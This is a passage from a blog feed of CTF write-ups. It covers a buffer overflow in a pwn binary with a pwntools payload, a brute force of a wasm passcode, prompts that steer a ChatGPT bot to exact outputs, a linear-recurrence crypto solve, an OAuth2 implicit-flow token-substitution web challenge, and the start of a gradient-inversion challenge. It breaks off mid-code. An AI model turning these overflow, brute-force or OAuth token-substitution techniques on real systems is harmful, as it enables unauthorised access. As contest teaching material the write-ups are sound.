<p>The final key is <code class="highlighter-rouge">0x34928001006701550000000000011964</code>, and flag can be obtained by xor the key with the goal.</p>

<h2 id="pwn-acceptance">Pwn Acceptance</h2>

<p>The challenge provided a binary executable. Decompile the binary with IDA, the code snip for main function is shown below:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">say</span><span class="p">,</span> <span class="mh">0x24uLL</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">accept</span> <span class="p">)</span>
  <span class="n">print_flag</span><span class="p">();</span>
<span class="k">else</span>
  <span class="nf">puts</span><span class="p">(</span><span class="s">"Arg! Why don't you help me :(("</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>Looking into <code class="highlighter-rouge">&amp;say</code>, it points to some statically allocated variable (.bss) with size of 32 bytes, while the <code class="highlighter-rouge">read</code> would read up to 0x24 (36) bytes. The <code class="highlighter-rouge">accept</code> variable is 4 bytes and is located right after <code class="highlighter-rouge">&amp;say</code>. So we can overflow the <code class="highlighter-rouge">accept</code> variable and overwrite it with non-zero value to make <code class="highlighter-rouge">print_flag()</code> to be called.</p>

<p>Decompile the <code class="highlighter-rouge">print_flag()</code> function, there are two condition checks before the flag is actually printed. The first one is to check if the <code class="highlighter-rouge">accept</code> variable is smaller or equal to 0, the second one is to check if the <code class="highlighter-rouge">accept</code> variable is equal to -1.</p>

<p>To solve the challenge, I send 32 bytes of arbitrary data, followed by -1 encoded for 4 bytes, which is <code class="highlighter-rouge">\xff\xff\xff\xff</code>. The flag is printed out.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'example.com'</span><span class="p">,</span> <span class="mi">4000</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'Help him: '</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'a'</span> <span class="o">*</span> <span class="mi">32</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xFF\xFF\xFF\xFF</span><span class="s">'</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="web-safe-locker">Web Safe Locker</h2>

<p>The goal of the challenge is to find the passcode.</p>

<p><img src="/assets/image/cryptoverse-ctf-2023-writeup/web-safe-locker.png" alt="Safe locker page" /></p>

<p>The relevant code is within a JavaScript module on this page. The actual check appears to be done with web assembly. However, without reversing the web assembly, I can still bruteforce the passcode with the JavaScript code. There are only 10,000,000 possible passcodes, and it is possible to bruteforce, however the web page crashes if I try to bruteforce all the passcodes at once. So I bruteforce the passcode in batches, also this allows me to do them parallelly in different browser tabs.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span><span class="p">(</span><span class="dl">'</span><span class="s1">/passCheck.js</span><span class="dl">'</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="nx">m</span> <span class="o">=&gt;</span> <span class="nx">m</span><span class="p">.</span><span class="k">default</span><span class="p">()).</span><span class="nx">then</span><span class="p">(</span><span class="nx">m</span> <span class="o">=&gt;</span> <span class="nx">password_checker</span> <span class="o">=</span> <span class="nx">m</span><span class="p">.</span><span class="nx">cwrap</span><span class="p">(</span><span class="dl">'</span><span class="s1">checker</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">boolean</span><span class="dl">'</span><span class="p">,</span> <span class="p">[</span><span class="dl">'</span><span class="s1">string</span><span class="dl">'</span><span class="p">]))</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">p</span> <span class="k">of</span> <span class="nb">Array</span><span class="p">(</span><span class="mi">10000000</span><span class="p">).</span><span class="nx">keys</span><span class="p">())</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">s</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">00000000</span><span class="dl">'</span> <span class="o">+</span> <span class="p">(</span><span class="nx">p</span> <span class="o">+</span> <span class="mi">10000000</span><span class="p">);</span>
    <span class="nx">s</span> <span class="o">=</span> <span class="nx">s</span><span class="p">.</span><span class="nx">substr</span><span class="p">(</span><span class="nx">s</span><span class="p">.</span><span class="nx">length</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">password_checker</span><span class="p">(</span><span class="nx">s</span><span class="p">,</span> <span class="mi">8</span><span class="p">))</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">s</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is also another not bruteforcable version of this challenge in the CTF, which checks an extra string value. I have not tried to solve it yet.</p>

<h2 id="hoyoverse-ii-prompt-bot">HoYoverse II: Prompt Bot</h2>

<p>In this challenge, the goal is to send prompt (there is a character limit of the prompt length, so the prompt cannot be too long. Also the prompt cannot contain the exact target) that makes the ChatGPT bot to output the exact target response.</p>

<p>The targets are:</p>

<ul>
  <li><code class="highlighter-rouge">dlrow olleh</code></li>
  <li><code class="highlighter-rouge">zellic zelli zell zel ze z</code></li>
  <li>
    <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>*****
****
***
**
*
</code></pre></div>    </div>
  </li>
</ul>

<p>My prompts are:</p>

<ul>
  <li><code class="highlighter-rouge">reverse hello world</code></li>
  <li><code class="highlighter-rouge">zellic zelli zell zel ze Z to lower</code></li>
  <li><code class="highlighter-rouge">5 lines of *, with 5 to 1</code></li>
</ul>

<p>I got the 2nd prompt inspiration from my teammate’s screenshot, where the output he got with all <code class="highlighter-rouge">Z</code>s in upper case. So I tried to make the <code class="highlighter-rouge">Z</code> in lower case, and it worked.</p>

<p><img src="/assets/image/cryptoverse-ctf-2023-writeup/hoyoverse-2-prompt-bot.png" alt="Screenshot of the response my teammate got" /></p>

<h2 id="hoyoverse-iii-secret-vault">HoYoverse III: Secret Vault</h2>

<p>This challenge is with a provided Python file, the snip of the code is shown below:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">secret</span> <span class="kn">import</span> <span class="n">FLAG</span>
<span class="n">FLAG</span> <span class="o">=</span> <span class="n">FLAG</span><span class="p">[</span><span class="mi">6</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">class</span> <span class="nc">HoYoVault</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">u</span><span class="p">,</span> <span class="n">v</span><span class="p">,</span> <span class="n">w</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">state</span> <span class="o">=</span> <span class="p">[</span><span class="n">u</span><span class="p">,</span> <span class="n">v</span><span class="p">,</span> <span class="n">w</span><span class="p">]</span>
        <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">p</span> <span class="o">=</span> <span class="n">getPrime</span><span class="p">(</span><span class="mi">64</span><span class="p">)</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">FLAG</span><span class="p">[:</span><span class="mi">6</span><span class="p">])</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">FLAG</span><span class="p">[</span><span class="mi">6</span><span class="p">:</span><span class="mi">12</span><span class="p">])</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">c</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">FLAG</span><span class="p">[</span><span class="mi">12</span><span class="p">:</span><span class="mi">18</span><span class="p">])</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">d</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">FLAG</span><span class="p">[</span><span class="mi">18</span><span class="p">:])</span>
            <span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">p</span> <span class="o">&gt;</span> <span class="nb">max</span><span class="p">([</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">c</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">d</span><span class="p">]):</span>
                <span class="k">break</span>
    <span class="k">def</span> <span class="nf">Generate</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">data</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">a</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">state</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">b</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">state</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">c</span> <span class="o">*</span> <span class="bp">self</span><span class="p">.</span><span class="n">state</span><span class="p">[</span><span class="o">-</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="bp">self</span><span class="p">.</span><span class="n">d</span><span class="p">)</span> <span class="o">%</span> <span class="bp">self</span><span class="p">.</span><span class="n">p</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">state</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">data</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">vault</span> <span class="o">=</span> <span class="n">HoYoVault</span><span class="p">(</span><span class="n">getRandomInteger</span><span class="p">(</span><span class="mi">128</span><span class="p">),</span> <span class="n">getRandomInteger</span><span class="p">(</span><span class="mi">256</span><span class="p">),</span> <span class="n">getRandomInteger</span><span class="p">(</span><span class="mi">512</span><span class="p">))</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"data = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">([</span><span class="n">vault</span><span class="p">.</span><span class="n">Generate</span><span class="p">()</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">)]))</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"p = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">vault</span><span class="p">.</span><span class="n">p</span><span class="p">))</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span> 
<span class="c1"># data = [14169084828739113416, 12950362233651727953, 13081576751296291893, 11189892724250189745, 2366046383900978737, 1749792629103627315, 8575562236709928474]
# p = 16200480981168924301
</span></code></pre></div></div>

<p>From the code, I can see the outputted <code class="highlighter-rouge">data</code> is generated through the flag and previous states, while the generated <code class="highlighter-rouge">data</code> is appended to <code class="highlighter-rouge">state</code> to be used in generating future <code class="highlighter-rouge">data</code>.</p>

<p>With enough data output provided, I can form a system of linear equations, and solve for the flag.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">data</span> <span class="o">=</span> <span class="p">[</span><span class="mi">14169084828739113416</span><span class="p">,</span> <span class="mi">12950362233651727953</span><span class="p">,</span> <span class="mi">13081576751296291893</span><span class="p">,</span> <span class="mi">11189892724250189745</span><span class="p">,</span> <span class="mi">2366046383900978737</span><span class="p">,</span> <span class="mi">1749792629103627315</span><span class="p">,</span> <span class="mi">8575562236709928474</span><span class="p">]</span>
<span class="c1"># modified from code from https://stackoverflow.com/a/62600438
</span><span class="kn">import</span> <span class="nn">sympy</span>
<span class="n">eq</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">values</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">):</span>
    <span class="n">eq</span><span class="p">.</span><span class="n">append</span><span class="p">([</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">],</span> <span class="n">data</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">],</span> <span class="mi">1</span><span class="p">])</span>
    <span class="n">values</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">3</span><span class="p">])</span>
<span class="n">eq</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="n">Matrix</span><span class="p">(</span><span class="n">eq</span><span class="p">)</span>
<span class="n">values</span> <span class="o">=</span> <span class="n">sympy</span><span class="p">.</span><span class="n">Matrix</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
<span class="n">m</span> <span class="o">=</span> <span class="mi">16200480981168924301</span>
<span class="n">det</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">eq</span><span class="p">.</span><span class="n">det</span><span class="p">())</span>
<span class="k">if</span> <span class="n">gcd</span><span class="p">(</span><span class="n">det</span><span class="p">,</span> <span class="n">m</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
    <span class="n">ans</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">det</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="n">m</span><span class="p">))</span> <span class="o">*</span> <span class="n">eq</span><span class="p">.</span><span class="n">adjugate</span><span class="p">()</span> <span class="o">@</span> <span class="n">values</span> <span class="o">%</span> <span class="n">m</span>
<span class="n">flag</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">ans</span><span class="p">:</span>
    <span class="n">flag</span> <span class="o">+=</span> <span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="s">'big'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</code></pre></div></div>

<p>I was also trying to use <code class="highlighter-rouge">solve_mod</code> in SageMath instead of pulling code from Stack Overflow, which worked great in one of the ImaginaryCTF challenges sharing the very similar idea but with an a lot smaller modulus. However, when I used it in this challenge, I got the following error:</p>

<p><code class="highlighter-rouge">OverflowError: Python int too large to convert to C ssize_t</code></p>

<p>After the CTF ended, <a href="https://discord.com/channels/1016576148576157766/1103734101363658812/1105015730967150733">on Cryptoverse Discord server</a>, Neobeo from the “Social Engineering Experts” team (I think) suggested that they were able to define the linear equations in a Finite Field in SageMath and used <code class="highlighter-rouge">solve_right</code> to solve the equations.</p>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><summary type="html"><![CDATA[Cryptoverse CTF 2023 On CTFtime]]></summary></entry><entry><title type="html">pwnEd4 Quals CTF Vault (Web) Author Writeup</title><link href="https://www.cjxol.com/posts/pwned4-quals-ctf-web-vault-author-writeup/" rel="alternate" type="text/html" title="pwnEd4 Quals CTF Vault (Web) Author Writeup" /><published>2023-02-20T00:00:00+00:00</published><updated>2023-02-20T00:00:00+00:00</updated><id>https://www.cjxol.com/posts/pwned4-quals-ctf-web-vault-author-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/pwned4-quals-ctf-web-vault-author-writeup/"><![CDATA[<p>Challenge code and is available at <a href="https://github.com/allc/Vault-CTF-Chall">https://github.com/allc/Vault-CTF-Chall</a>.</p>

<p>This is my writeup to the web challenge I created for <a href="https://pwned.sigint.mx/">pwnEd4</a> Quals CTF organised by University of Edinburgh’s cyber security society <a href="https://sigint.mx/">SIGINT</a>. The online CTF was on 18th and 19th for 32 hours. With over 30 teams submitted at least one flag, only 2 teams successfully solved this web challenge.</p>

<p>This challenge exploits improper use of OAuth2 for authentication, more specifically with Implicit Flow. It is inspired by <a href="https://github.com/allc/CTF-Archive-App/commit/e69dee6244ae723780845d8e54e71b82720fafc8">a vulnerability I made in my own project</a>, as well as similar issues found in the wild (in my opinion this can partly attribute to developer docs failing to make it clear about the danger of using OAuth2 Implicit Grant).</p>

<p>To understand this challenge, it is helpful to know about both OAuth2 Authorization Code Grant and Implicit Grant, and here are some resources: <a href="https://developer.okta.com/blog/2018/04/10/oauth-authorization-code-grant-type">https://developer.okta.com/blog/2018/04/10/oauth-authorization-code-grant-type</a> and <a href="https://developer.okta.com/blog/2018/05/24/what-is-the-oauth2-implicit-grant-type">https://developer.okta.com/blog/2018/05/24/what-is-the-oauth2-implicit-grant-type</a>.</p>

<h2 id="the-challenge">The Challenge</h2>

<p>The challenges has a “Vault” app, where the flag is stored in.</p>

<p><img src="/assets/image/pwned4-quals-ctf-web-vault-author-writeup/vault.png" alt="Vault" /></p>

<p>Clicking on “View flag”, it redirects to the auth server to login. Logging in with a newly created account, it redirects back to the Vault app’s flag page, however, it says do not have permission to view the flag.</p>

<p>In the auth service, any registered user can create apps.</p>

<p><img src="/assets/image/pwned4-quals-ctf-web-vault-author-writeup/app.png" alt="App config page in auth service" /></p>

<p>When “publishing” the app, the admin bot will try to authorize the app, resulting in a request to the redirect URL with the authorization code.</p>

<h2 id="the-solve">The Solve</h2>

<p>Substituting the code with the one in admin bot’s request to login to Vault would not work, as the OAuth2 server will be able to tell the code is not for Vault thus not valid, when Vault exchanges token using the code along with its client ID and secret.</p>

<p>The solution to this challenge is to exchange the authorization code for access token with the valid client ID and client secret at auth service’s <code class="highlighter-rouge">/oauth2/token</code> endpoint, and substitute the token into Vault’s implicit flow callback.</p>

<p>There are two hints in the challenge that the Vault app supports implicit flow. One is on the auth service config page, where it can generates OAuth2 URL for an app. In the response type selection, there is a “token” option (though it’s on the auth service, it’s in a CTF challenge, it must be relevant :P). Replace “response_type” from <code class="highlighter-rouge">code</code> to <code class="highlighter-rouge">token</code> in the login page and proceed the authorisation normally will confirm Vault supports implicit flow. Another is on the screen confirming authorising Vault app, click “Cancel”, the callback page will render Javascript tries to use implicit flow.</p>

<p><img src="/assets/image/pwned4-quals-ctf-web-vault-author-writeup/callback-source.png" alt="App config page in auth service" /></p>

<p>To solve the challenge less painfully, there are some details. One is that the access code can only be used to exchange for token once, within valid time. Another is “state” only stay valid before sent to callback endpoint in Vault. To generate a new valid state, click on “Login” in Vault again, and the state can only be used with the session cookie.</p>

<h2 id="conclusion">Conclusion</h2>

<p>OAuth2 is for authorisation, and can be dangerous used for authentication without additional checks. Implicit Grant should be avoided. Developer docs should make clear of security implications.</p>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><category term="ctf web" /><category term="ctf neural network" /><summary type="html"><![CDATA[Challenge code and is available at https://github.com/allc/Vault-CTF-Chall.]]></summary></entry><entry><title type="html">HTB University CTF 2022 Deaths Glance (Misc) Writeup</title><link href="https://www.cjxol.com/posts/htb-uni-ctf-2022-misc-writeup/" rel="alternate" type="text/html" title="HTB University CTF 2022 Deaths Glance (Misc) Writeup" /><published>2022-12-08T00:00:00+00:00</published><updated>2022-12-08T00:00:00+00:00</updated><id>https://www.cjxol.com/posts/htb-uni-ctf-2022-misc-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/htb-uni-ctf-2022-misc-writeup/"><![CDATA[<p>This is my writeup for the only Misc challenge “Deaths Glance” in <a href="https://ctf.hackthebox.com/event/details/htb-university-ctf-2022-supernatural-hacks-696">HTB University CTF 2022</a> (<a href="https://ctftime.org/event/1825">on CTFtime</a>).</p>

<p>The challenge was initially labelled as “easy” at the beginning of the event, and was changed to “medium” after 2 hours into the CTF with no solves to this challenge. Our team was the 2nd solved and submitted flag to this challenge, about one or two hours after the challenge first been solved about 24 hours into the CTF. There were 6 solves to this challenge in the 54 hours CTF with 328 teams submitted at least one flag.</p>

<h2 id="the-challenge">The Challenge</h2>

<p>The challenge is given with the following description:</p>

<blockquote>
  <p>You find yourself in possession of an ancient forbidden spell. Rumors have it that by revealing the rune originated from the spell, the mystery behind how you perish will be unveiled.</p>
</blockquote>

<p>The challenge is also with a downloadable containing a <code class="highlighter-rouge">forbiden_spell.pt</code> file and a <code class="highlighter-rouge">challenge.py</code> file.</p>

<p>The Python file contains a convolutional neural network implemented in PyTorch, with the weights initialisation using a fixed seed, and code in comments defining some <code class="highlighter-rouge">dummy_data_size</code>. The model is for classification with 100 output classes, and input is 1-channel (greyscale) 32x32 image.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">torch</span>
<span class="kn">import</span> <span class="nn">torch.nn</span> <span class="k">as</span> <span class="n">nn</span>
<span class="n">torch</span><span class="p">.</span><span class="n">manual_seed</span><span class="p">(</span><span class="mi">50</span><span class="p">)</span>
<span class="n">device</span> <span class="o">=</span> <span class="s">"cpu"</span>

<span class="k">def</span> <span class="nf">weights_init</span><span class="p">(</span><span class="n">m</span><span class="p">):</span>
    <span class="k">if</span> <span class="nb">hasattr</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="s">"weight"</span><span class="p">):</span>
        <span class="n">m</span><span class="p">.</span><span class="n">weight</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">uniform_</span><span class="p">(</span><span class="o">-</span><span class="mf">0.5</span><span class="p">,</span> <span class="mf">0.5</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">hasattr</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="s">"bias"</span><span class="p">):</span>
        <span class="n">m</span><span class="p">.</span><span class="n">bias</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">uniform_</span><span class="p">(</span><span class="o">-</span><span class="mf">0.5</span><span class="p">,</span> <span class="mf">0.5</span><span class="p">)</span>

<span class="k">class</span> <span class="nc">LeNet</span><span class="p">(</span><span class="n">nn</span><span class="p">.</span><span class="n">Module</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="nb">super</span><span class="p">(</span><span class="n">LeNet</span><span class="p">,</span> <span class="bp">self</span><span class="p">).</span><span class="n">__init__</span><span class="p">()</span>
        <span class="n">act</span> <span class="o">=</span> <span class="n">nn</span><span class="p">.</span><span class="n">Sigmoid</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">body</span> <span class="o">=</span> <span class="n">nn</span><span class="p">.</span><span class="n">Sequential</span><span class="p">(</span>
            <span class="n">nn</span><span class="p">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">5</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">5</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
            <span class="n">act</span><span class="p">(),</span>
            <span class="n">nn</span><span class="p">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">5</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">5</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
            <span class="n">act</span><span class="p">(),</span>
            <span class="n">nn</span><span class="p">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">5</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">5</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span>
            <span class="n">act</span><span class="p">(),</span>
            <span class="n">nn</span><span class="p">.</span><span class="n">Conv2d</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="n">kernel_size</span><span class="o">=</span><span class="mi">5</span><span class="p">,</span> <span class="n">padding</span><span class="o">=</span><span class="mi">5</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">stride</span><span class="o">=</span><span class="mi">1</span><span class="p">),</span>
            <span class="n">act</span><span class="p">(),</span>
        <span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">fc</span> <span class="o">=</span> <span class="n">nn</span><span class="p">.</span><span class="n">Sequential</span><span class="p">(</span>
            <span class="n">nn</span><span class="p">.</span><span class="n">Linear</span><span class="p">(</span><span class="mi">768</span><span class="p">,</span> <span class="mi">100</span><span class="p">)</span>
        <span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">forward</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">):</span>
        <span class="n">out</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">body</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
        <span class="n">out</span> <span class="o">=</span> <span class="n">out</span><span class="p">.</span><span class="n">view</span><span class="p">(</span><span class="n">out</span><span class="p">.</span><span class="n">size</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
        <span class="n">out</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">fc</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">out</span>
    
<span class="n">net</span> <span class="o">=</span> <span class="n">LeNet</span><span class="p">().</span><span class="n">to</span><span class="p">(</span><span class="n">device</span><span class="p">)</span>
<span class="n">net</span><span class="p">.</span><span class="nb">apply</span><span class="p">(</span><span class="n">weights_init</span><span class="p">)</span>
<span class="n">criterion</span> <span class="o">=</span> <span class="n">nn</span><span class="p">.</span><span class="n">CrossEntropyLoss</span><span class="p">()</span>

<span class="s">"""
forbidden_spell = torch.load('path to challenge file')
dummy_data_size=torch.Size([1, 1, 32, 32])

#code here 
"""</span>
</code></pre></div></div>

<p>Load and inspecting <code class="highlighter-rouge">forbidden_spell.pt</code>, it contains a list of torch tensors, the shape of the data in the file matches with the model parameters of the model defined in <code class="highlighter-rouge">challenge.py</code> . Their shape can be printed out with <code class="highlighter-rouge">for s in forbidden_spell: print(s.shape)</code> and <code class="highlighter-rouge">for parameters in net.parameters(): print(parameters.shape)</code> respectively, and gives:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>torch.Size([12, 1, 5, 5])
torch.Size([12])
torch.Size([12, 12, 5, 5])
torch.Size([12])
torch.Size([12, 12, 5, 5])
torch.Size([12])
torch.Size([12, 12, 5, 5])
torch.Size([12])
torch.Size([100, 768])
torch.Size([100])
</code></pre></div></div>

<p>The description of the challenge does not seem clear with meaningful information (which is even misleading to me, as it turns out the challenge is indeed to work backwards while the description says “the rune originated from the spell”). The data in the <code class="highlighter-rouge">pt</code> file matches the shape of the model parameters perfectly, maybe it is the model weights, or maybe it is something else? Does the manual seed matter or it’s just irrelevant?</p>

<p>It seems I would either happen to know the attack or I have to do a lot of guessing work.</p>

<h2 id="the-solve">The Solve</h2>

<p>After some <a href="#other-irrelevant-path-we-went-down">trial and error, some guessing and research</a>, we found very interesting research <a class="citation" href="#zhu19deep">(Zhu et al., 2019)</a> and <a href="https://github.com/mit-han-lab/dlg">GitHub repository</a> with <a href="https://github.com/mit-han-lab/dlg/blob/master/models/vision.py#L15">model</a> very similar to the model used in the challenge.</p>

<p>Both the research and the code demonstration shows the possibility to recover training data with just model and the gradients for the data. The idea is to train some dummy data and label to produce the gradients that match the given gradient using gradient descent methods.</p>

<p>To this challenge, we realised instead of being the weights, the “forbidden spell” given in the <code class="highlighter-rouge">pt</code> file could be the gradient from the training data (which could a image lead to the flag), and the model should be initialised with the given random seed and initialisation functions. We modified the script <a href="https://github.com/mit-han-lab/dlg/blob/master/main.py"><code class="highlighter-rouge">main.py</code> in the GitHub repository</a> to solve the challenge (append to original <code class="highlighter-rouge">challenge.py</code>):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">"""
Need to include original challenge script here.
Also initialising the model with the given random seed is very important!
"""</span>

<span class="kn">import</span> <span class="nn">torch.nn.functional</span> <span class="k">as</span> <span class="n">F</span>
<span class="kn">from</span> <span class="nn">torchvision</span> <span class="kn">import</span> <span class="n">transforms</span>
<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>

<span class="k">def</span> <span class="nf">cross_entropy_for_onehot</span><span class="p">(</span><span class="n">pred</span><span class="p">,</span> <span class="n">target</span><span class="p">):</span>
